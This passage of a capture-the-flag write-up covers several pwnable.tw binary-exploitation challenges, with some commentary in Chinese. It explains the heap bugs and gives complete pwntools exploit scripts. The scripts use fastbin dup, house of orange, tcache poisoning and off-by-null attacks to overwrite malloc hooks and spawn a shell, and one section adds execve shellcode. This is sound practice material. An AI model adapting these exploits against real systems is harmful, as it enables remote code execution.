b'A', b'0') raise_flower(0x68, b'\0' * 0x13 + p64(one_gadget), b'0') ``` Finally, we trigger `__malloc_hook` by calling `malloc_printerr`, which can be triggered by double freeing a chunk. ### Script ```python= from pwn import * io = remote('chall.pwnable.tw', 10203) libc = ELF('./libc_64.so.6') def raise_flower(length, name, color): io.recvuntil(b'Your choice : ') io.sendline(b'1') io.recvuntil(b'Length of the name :') io.sendline(str(length)) io.recvuntil(b'The name of flower :') io.send(name) io.recvuntil(b'The color of the flower :') io.sendline(color) io.recvuntil(b'Successful !\n') def visit(): io.recvuntil(b'Your choice : ') io.sendline(b'2') return io.recvuntil('☆', drop = True) def remove_flower(index): io.recvuntil(b'Your choice : ') io.sendline(b'3') io.recvuntil(b'Which flower do you want to remove from the garden:') io.sendline(str(index)) def clean_garden(): io.recvuntil(b'Your choice : ') io.sendline(b'4') io.recvuntil(b'Done!') # leak libc address using unsorted bin raise_flower(0xb0, b'A', b'0') raise_flower(0xb0, b'A', b'0') remove_flower(0) raise_flower(128, b'\n', b'0') leak = visit().split(b':')[3][0:6] libc_leak = u64(leak.ljust(8, b'\0')) libc.address = libc_leak - 3947274 # double free raise_flower(0x68, b'A', b'0') raise_flower(0x68, b'A', b'0') raise_flower(0x68, b'A', b'0') remove_flower(3) remove_flower(4) remove_flower(3) # overwrite malloc_hook with one_gadget malloc_hook = libc.sym['__malloc_hook'] one_gadget = libc.address + 0xef6c4 raise_flower(0x68, p64(malloc_hook - 0x23), b'0') raise_flower(0x68, b'A', b'0') raise_flower(0x68, b'A', b'0') raise_flower(0x68, b'\0' * 0x13 + p64(one_gadget), b'0') # trigger __malloc_hook via malloc_printerr remove_flower(3) remove_flower(3) io.interactive() ``` ## BookWriter ### Vulnerabilities 1. In function `add_page`, the maximum number of pages is 8. But, the code says `if (i > 8)`, which should be `i > 7`. Since `sizes` is next to `pages`, we can overwrite size[0] with a malloced pointer, which is very large! This leads to heap overflow. 2. When asking for the author's name, null byte is not used for truncation. Since author and pages ptr are adjacent, if `pages[0]` already has data, the pointer of the heap will be leaked. 3. The `edit_page` functionn uses `strlen(pages[index])` to recalculate page length. Thus, we can overwrite `size[0]` to 0 as many times as we like. ### Techniques 1. `scanf` is called in the function, and scanf allocates a 0x1000 heap and does not reclaim it. So, if top chunk < 0x1000 (for example 0xc01), after `scanf` ends, the system will put the top chunk into the unsorted bin! 2. [House of :tangerine:](https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c) 3. Bypass `(unsigned long) (o ld_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & pagemask) == 0)` , so top chunk size = `(0x1000 - (0x20)) | 1 = 0xee0` 4. [File Structure Oriented Programming](https://gsec.hitb.org/materials/sg2018/WHITEPAPERS/FILE%20Structures%20-%20Another%20Binary%20Exploitation%20Technique%20-%20An-Jie%20Yang.pdf) ### Script ```python= from pwn import * io = remote("chall.pwnable.tw", 10304) libc = ELF('./libc_64.so.6') def add_page(size, content, contin = True): io.recvuntil('Your choice :') io.sendline('1') io.recvuntil('Size of page :') io.sendline(str(size)) if contin: io.recvuntil('Content :') io.send(content) def view_page(index): io.recvuntil('Your choice :') io.sendline('2') io.recvuntil('Index of page :') io.sendline(str(index)) io.recvuntil('Content :') return io.recvuntil('\n----------------------', drop = True).strip() def edit_page(index, content): io.recvuntil('Your choice :') io.sendline('3') io.recvuntil('Index of page :') io.sendline(str(index)) io.recvuntil('Content:') io.send(content) def information(change): io.recvuntil('Your choice :') io.sendline('4') io.recvuntil('Author : ') author = io.recvuntil('\nPage : ', drop = True) heap_leak = u64(author[0x40:].ljust(8, b'\0')) heap_base = heap_leak - 0x10 io.recvuntil('Do you want to change the author ? (yes:1 / no:0) ') io.sendline(str(change)) return heap_base io.recvuntil('Author :') io.sendline('A' * 0x40) # overwrite top chunk add_page(0x18, 'A' * 0x18) edit_page(0, 'A' * 0x18) # The new size is longer than 0x18 edit_page(0, b'A' * 0x18 + p64((0x1000 - 0x20) | 1)) # size > MINSIZE && prev_inuse && memory align # leak heap address heap_base = information(0) # The below operation will make size[0] = heap address, which is very large! -> heap overflow edit_page(0, '\0') # The new size is 0 for i in range(8): add_page(0x40, 'A' * 8) # leak libc libc_leak = view_page(7)[8:] libc_leak = u64(libc_leak.ljust(8, b'\0')) libc.address = libc_leak - 0x3c3b78 # calculate system address & _IO_list_all_addr address system_addr = libc.sym['system'] _IO_list_all_addr = libc.sym['_IO_list_all'] vtable = heap_base + 0x300 # vtable[3] = system (fake _IO_OVERFLOW) # house of orange fsop = b'/bin/sh\0' + p64(0x61) + p64(0) + p64(_IO_list_all_addr - 0x10) + p64(2) fsop += p64(3) + p64(0) * 9 + p64(system_addr) + p64(0) * 11 + p64(vtable) edit_page(0, p64(0) * 82 + fsop) add_page(0x10, 'A', False) io.interactive() ``` ## Heap Paradise ### Description First, let's examine the result of the decompiled code. The program is simple and straightforward. It provides two operations which are `my_allocate` and `my_free`. `my_allocate` limits the size of the memory space to be applied for, which is 0x78. It also limits the maximum number of allocations, which is 15. ```c= int my_allocate() { unsigned __int64 size_; // rax signed int i; // [rsp+4h] [rbp-Ch] unsigned int size; // [rsp+8h] [rbp-8h] for ( i = 0; ; ++i ) { if ( i > 15 ) { LODWORD(size_) = puts("You can't allocate anymore !"); return size_; } if ( !buff[i] ) break; } printf("Size :"); size_ = read_num(); size = size_; if ( size_ <= 0x78 ) { buff[i] = malloc(size_); if ( !buff[i] ) { puts("Error!"); exit(-1); } printf("Data :"); LODWORD(size_) = (unsigned __int64)read_str((char *)buff[i], size); } return size_; } ``` The `my_free` function is also straightforward. It reads the index of the chunk first then frees the intended chunk. ### Vulnerability In `my_free`, the pointer is not set to NULL after the heap block is released, resulting in a double free vulnerability. Here, we have to realize that the program *does not have any output option*! ### Exploit The first goal is to leak the base address of libc. The overall idea is to obtain the libc address via leaking the **main arenam address** when the chunk is inserted into **unsorted bin**. Because there is a double free vulnerability in `my_free`, we can carry out [fastbin dup]() attack and perform arbitrary write in the heap. Since `my_allocate` limits the size of the memory space to 0x78, you must construct some fake chunks such that a big fake chunk can be formed in the heap by carefully designed data as well as some modification of the chunk (such as changing the chunk size). We alsn need to make sure that the fake big chunk can be freed and put into the unsorted bin. Eventually, we can free the faked chunk and put the address of **main arena** into the heap. ```python # fastbin dup & some carefully designed chunks allocate(0x68, p64(0) * 3 + p64(0x71)) allocate(0x68, p64(0) * 3 + p64(0x21) + p64(0) * 5 + p64(0x21)) free(0) free(1) free(0) allocate(0x68, b'\x20') allocate(0x68, b'B') allocate(0x68, b'C') allocate(0x68, b'D') # change the size of buff[5] to 0xa1 so that if the chunk is freed, it will be placed into unsorted bin. free(0) allocate(0x68, p64(0) * 3 + p64(0xa1)) # obtain main arena address free(5) ``` Now, since the heap has been overlapped, we can directly edit the fd pointer to control the next available chunk instead of using fastbin duplication. The next step is quite tricky and hard. Since there is no output option available, you can't read any leaked data from the binary. Luckily, you can still carry out arbitrary read by overwrite the `_IO_2_1_stdout` structure. This technique is called **File Structure Oriented Programming**. Detailed theory can be found in [this article](https://gsec.hitb.org/materials/sg2018/WHITEPAPERS/FILE%20Structures%20-%20Another%20Binary%20Exploitation%20Technique%20-%20An-Jie%20Yang.pdf). Conclusively, our goal is to overwrite `_flags` with `_IO_MAGIC | _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING` as well as `_IO_write_base` with `_chain` so that wherever `puts` or `printf` is called, the data between `_IO_write_base` and `_IO_write_ptr` can be printed out. Here, overwriting the `_IO_write_base` address with `_chain` leads to the conclusion that the address of `_IO_2_1_stdout_->_chain`, which is `_IO_2_1_stdin_`, is leaked. But here, some excessive coverage is required when controlling `_IO_2_1_stdout_`. This leads to the fact that the probability of success is roughly $\frac{1}{16}$. Finally, override malloc_hook with one gadget. I won't repeat it here. Check out a similar problem `secret garden` for more details. ### Script ```python= from pwn import * libc = ELF('./libc_64.so.6') def allocate(size, data): io.recvuntil('You Choice:') io.sendline('1') io.recvuntil('Size :') io.sendline(str(size)) io.recvuntil('Data :') io.send(data) def free(index): io.recvuntil('You Choice:') io.sendline('2') io.recvuntil('Index :') io.sendline(str(index)) while True: io = remote('chall.pwnable.tw', 10308) # fastbin dup & some carefully designed chunks allocate(0x68, p64(0) * 3 + p64(0x71)) allocate(0x68, p64(0) * 3 + p64(0x21) + p64(0) * 5 + p64(0x21)) free(0) free(1) free(0) allocate(0x68, b'\x20') allocate(0x68, b'B') allocate(0x68, b'C') allocate(0x68, b'D') # change the size of buff[5] to 0xa1 so that if the chunk is freed, it will be placed into unsorted bin. free(0) allocate(0x68, p64(0) * 3 + p64(0xa1)) # get unsorted bin addess free(5) #allocate(0x48, b'A') free(0) free(1) allocate(0x78, p64(0) * 9 + p64(0x71) + b'\xa0') free(7) allocate(0x68, p64(0) * 5 + p64(0x71) + b'\xdd\x45') allocate(0x68, b'A') _IO_MAGIC = 0xfbad0000 _IO_IS_APPENDING = 0x1000 _IO_CURRENTLY_PUTTING = 0x800 payload = b'\0' * 3 + p64(0) * 6 + p64(_IO_MAGIC | _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING) + p64(0) * 3 + b'\x88' try: allocate(0x68, payload) except EOFError: continue stack_leak = io.recv(6) if stack_leak != b'*' * 6: libc.address = u64(stack_leak.ljust(8, b'\0')) - 0x3c38e0 print(hex(libc.address)) break else: io.close() free(1) allocate(0x78, p64(0) * 9 + p64(0x71) + p64(libc.sym['__malloc_hook'] - 0x23)) one_gadget = libc.address + 0xef6c4 log.info(hex(libc.sym['__malloc_hook'] - 0x23)) allocate(0x68, b'A') allocate(0x68, b'\0' * 0x13 + p64(one_gadget)) # trigger __malloc_hook io.recvuntil('You Choice:') io.sendline('1') io.recvuntil('Size :') io.sendline('16') io.interactive() ``` ## Re-alloc Revenge ### Description The vulnerability is similar to Re-alloc, except that the binary is a position independent executable. ### Exploitation 1. If we free a chunk that lies inside tcache, then `chunk->fd` might contain a heap address. The libc-2.29 version of tcache first creates a tcache management structure at the beginning of the heap in order to maintain the tcache. Hence, after the chunk is freed, we can try to change the last 2 bytes of `chunk->fd` to the address of tcache management chunk. The probability is $\frac{1}{16}$. If we guesses the correct address, we can control the whole structure of tcache. 2. Now, overwrite an unsorted bin range tcache bin counter to 7. Next time if we try to free the chunk, it will instead be inserted into the unsorted bin. Then, we can try to overwrite `_IO_2_1_stdout_` and obtain a libc address. The success rate is also $\frac{1}{16}$. 3. Now, modify the tcache structure again. Change one of the freed tcache chunk pointer to `__free_hook`, realloc it, overwrite it with `system`, and get the shell. ```python= from pwn import * libc = ELF('./libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so') def alloc(index, size, data): io.recvuntil('Your choice: ') io.sendline('1') io.recvuntil('Index:') io.sendline(str(index)) io.recvuntil('Size:') io.sendline(str(size)) io.recvuntil('Data:') io.send(data) def realloc(index, size, data): io.recvuntil('Your choice: ') io.sendline('2') io.recvuntil('Index:') io.sendline(str(index)) io.recvuntil('Size:') io.sendline(str(size)) if size == 0: return io.recvuntil('Data:') io.send(data) def free(index): io.recvuntil('Your choice: ') io.sendline('3') io.recvuntil('Index:') io.sendline(str(index)) while True: while True: io = remote('chall.pwnable.tw', 10310) # tcache dup alloc(0, 0x48, 'A') realloc(0, 0, '') realloc(0, 0x48, p64(0) + p64(0)) realloc(0, 0, '') realloc(0, 0x48, '\x10\x80') # 1/16 chance of success # make free chunk return to entries[3] instead of entries[2] alloc(1, 0x48, 'A') realloc(1, 0x58, 'A') free(1) try: alloc(1, 0x48, b'\0' * 0x23 + b'\x07') realloc(1, 0, '') message = io.recvline() if message == b'free(): invalid pointer\n': raise EOFError('Incorrect Guess') break except EOFError: io.close() realloc(1, 0x48, '\x58\x87') # 1/16 chance of success realloc(0, 0x38, p64(0) + p64(0)) free(0) alloc(0, 0x48, 'A') realloc(0, 0x38, 'A') free(0) try: # overwrite _flags & _IO_write_base to leak libc address alloc(0, 0x40, b'/bin/sh\0' + p64(0xfbad1800) + p64(0) * 3) leak = io.recvline() if leak.startswith(b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$'): raise EOFError('Incorrect Guess') break except EOFError: io.close() libc_leak = u64(leak[8:16]) libc.address = libc_leak - 0x1e7570 # overwrite __free_hook with system realloc(1, 0x48, p64(0) * 8 + p64(libc.sym['__free_hook'])) free(1) alloc(1, 0x18, p64(libc.sym['system'])) # trigger system("/bin/sh") free(0) io.interactive() ``` ## MnO2 用元素週期表寫shellcode,喪心病狂。 ### Exploit 方法是先觸發 `read(0, buff, large_num)` ,然後送真正的shellcode,不然 `execve("/bin/sh", NULL, NULL)` 不太好寫。 ```python= from pwn import * io = remote('chall.pwnable.tw', 10301) context.arch = 'i386' ''' 00000000 50 push eax 00000001 59 pop ecx 00000002 354D6E4F32 xor eax,0x324f6e4d 00000007 3439 xor al,0x39 00000009 3446 xor al,0x46 0000000B 50 push eax 0000000C 5A pop edx 0000000D 7231 jc 0x40 0000000F 42 inc edx 00000010 52 push edx 00000011 6831303030 push dword 0x30303031 00000016 5A pop edx 00000017 7231 jc 0x4a 00000019 58 pop eax 0000001A 653130 xor [gs:eax],esi 0000001D 304163 xor [ecx+0x63],al 00000020 49 dec ecx 00000021 344B xor al,0x4b 00000023 3430 xor al,0x30 00000025 3436 xor al,0x36 00000027 304163 xor [ecx+0x63],al 0000002A 53 push ebx 0000002B 58 pop eax 0000002C 653130 xor [gs:eax],esi 0000002F 3433 xor al,0x33 00000031 3430 xor al,0x30 ''' periodic_shellcode = 'PY5MnO2494FPZr1BRh1000Zr1Xe100AcI4K40460AcSXe104340' + 'O' * 0x2f shell_shellcode = b'\0' * 0x65 + asm(''' mov eax, 0xb push 0x0068732f push 0x6e69622f mov ebx, esp xor ecx, ecx xor edx, edx int 0x80 ''') io.sendline(periodic_shellcode) io.sendline(shell_shellcode) io.interactive() ``` ## Secret Of My Heart ### Vulnerability The only vulnerability found in this binary is an **off-by-null** vulnerability. After accepting the user’s input, an extra null byte will be appended to the end. ```c= __int64 __fastcall read_str(char *buff, unsigned int max_read) { unsigned int n_read; // [rsp+1Ch] [rbp-4h] n_read = read(0, buff, max_read); if ( (signed int)n_read <= 0 ) { puts("read error"); exit(1); } if ( buff[n_read - 1] == '\n' ) buff[n_read - 1] = '\0'; return n_read; } ``` ### Exploitation 1. [off by null](https://github.com/shellphish/how2heap/blob/master/glibc_2.31/unsafe_unlink.c). 取 0xa0, 0x20, 0x100, 0x20 (防止和 top_chunk 合併) 四塊大小的 chunk,然後用 off-by-null 把 0x101 (prev_size) 改成 0x100。釋放 chunk[2] 後,由於 chunk[2] 的 prev_in_use bit 是 0,因此 chunk[2] 會做向上合併。這樣一來,因為合併後的 chunk size 在 unsorted bin 的範圍內,因此我們容易就構造出了兩塊重疊的 chunk 了。另外,libc 的位址也很容易取得。 2. 注意到這版本的 libc 會去檢查 `P->fd->bk == P` 以及 `P->bk->fd == P`,因此我們必須構造一塊假的位址使得以上的條件成立。 3. 獲得重疊的 chunk 後,用一樣的老方法構造 fastbin dup 把 `__malloc_hook` 改成 `one gadget`。 4. 注意到如果 `__malloc_hook` 的 one gadget 都行不通的話,舊版本的 libc 可以試試看靠 **`malloc_printerr`** 觸發 `__malloc_hook`。 ```python= from pwn import * libc = ELF('./libc_64.so.6') io = remote('chall.pwnable.tw', 10302) def add(size, name, secret): io.recvuntil('Your choice :') io.sendline('1') io.recvuntil('Size of heart : ') io.send(str(size)) io.recvuntil('Name of heart :') io.send(name) io.recvuntil('secret of my heart :') io.send(secret) def show(index): io.recvuntil('Your choice :') io.sendline('2') io.recvuntil('Index :') io.send(str(index)) io.recvuntil('Index :') index = int(io.recvline(keepends = False)) io.recvuntil('Size : ') size = int(io.recvline(keepends = False)) io.recvuntil('Name : ') name = io.recvline(keepends = False) io.recvuntil('Secret : ') secret = io.recvline(keepends = False) return index, size, name, secret def delete(index): io.recvuntil('Your choice :') io.sendline('3') io.recvuntil('Index :') io.send(str(index)) # leak base heap address add(0x98, b'A' * 0x20, b'A') _, _, heap_leak, _ = show(0) heap_base = u64(heap_leak[0x20:0x26] + b'\0\0') - 0x10 delete(0) # off by null attack # bypass P->fd->bk == P && P->bk->fd == P add(0x98, b'A' * 0x20, p64(0) + p64(0x91) + p64(heap_base + 0x1b8) + p64(heap_base + 0x1c0)) add(0x18, b'A' * 0x20, b'A') add(0xf8, b'A' * 0x20, b'A') add(0x18, b'A' * 0x20, p64(heap_base + 0x10)) delete(1) add(0x18, b'A' * 0x20, b'A' * 0x10 + p64(0xb0)) # off by null delete(2) # leak base libc address add(0x88, b'A' * 0x20, b'\0') _, _, _, libc_leak = show(1) libc_base = u64(libc_leak + b'\0\0') - 0x3c3b78 # create two chunks of size 0x70 delete(2) add(0x18, b'A' * 0x20, b'A') add(0x68, b'A' * 0x20, b'A') add(0x68, b'A' * 0x20, b'A') # fastbin dup delete(1) delete(4) delete(5) __malloc_hook = libc_base + 0x3c3aed one_gadget = libc_base + 0xef6c4 # overwrite __malloc_hook with one gadget add(0x68, b'A' * 0x20, p64(__malloc_hook)) add(0x68, b'A' * 0x20, b'A') add(0x68, b'A' * 0x20, b'A') add(0x68, b'A' * 0x20, b'\0' * 0x13 + p64(one_gadget)) # trigger malloc_printerr delete(1) delete(5) io.interactive() ``` ## Kidding This problem is short but quite fun. The first technique used in this problem is **Return-to-stack**, which uses the function `_dl_make_stack_executable` to make the stack executable and run your shellcode. Ref: https://quentinmeffre.fr/pwn/2017/01/26/ret_to_stack.html The second technique used in this problem is reverse-shell shellcode, since stdin, stdout and stderr are all closed. ## Wannaheap libc 中任意位址寫上 null byte。做法是把 `_IO_2_1_stdin_->_IO_buf_base` 的最後一個 byte 改成 null byte。這樣一來,我們就可以改 `_IO_2_1_stdin_->_IO_buf_end`。改完後基本上 `_IO_buf_end` 底下的一大塊位址都可以任意改了(除了 payload 不能有 'A' 和 'E')。注意到本題有 seccomp,沒辦法呼叫 system 或是 execve。因此構造 open-read-write 的 ROP 是逃不掉的。 作這題的方法很多,我用的是 `__morecore` 這個 hook。把 `__malloc_hook` 改成 `__morecore` 後就可以跳到任意位置執行。所以可以把 ROP gadget 放在 libc 中執行 RCE。 細節不多說,可以參考 exploit。注意到我們其實可以 write(STDIN_FILENO, ..., ...) 喔!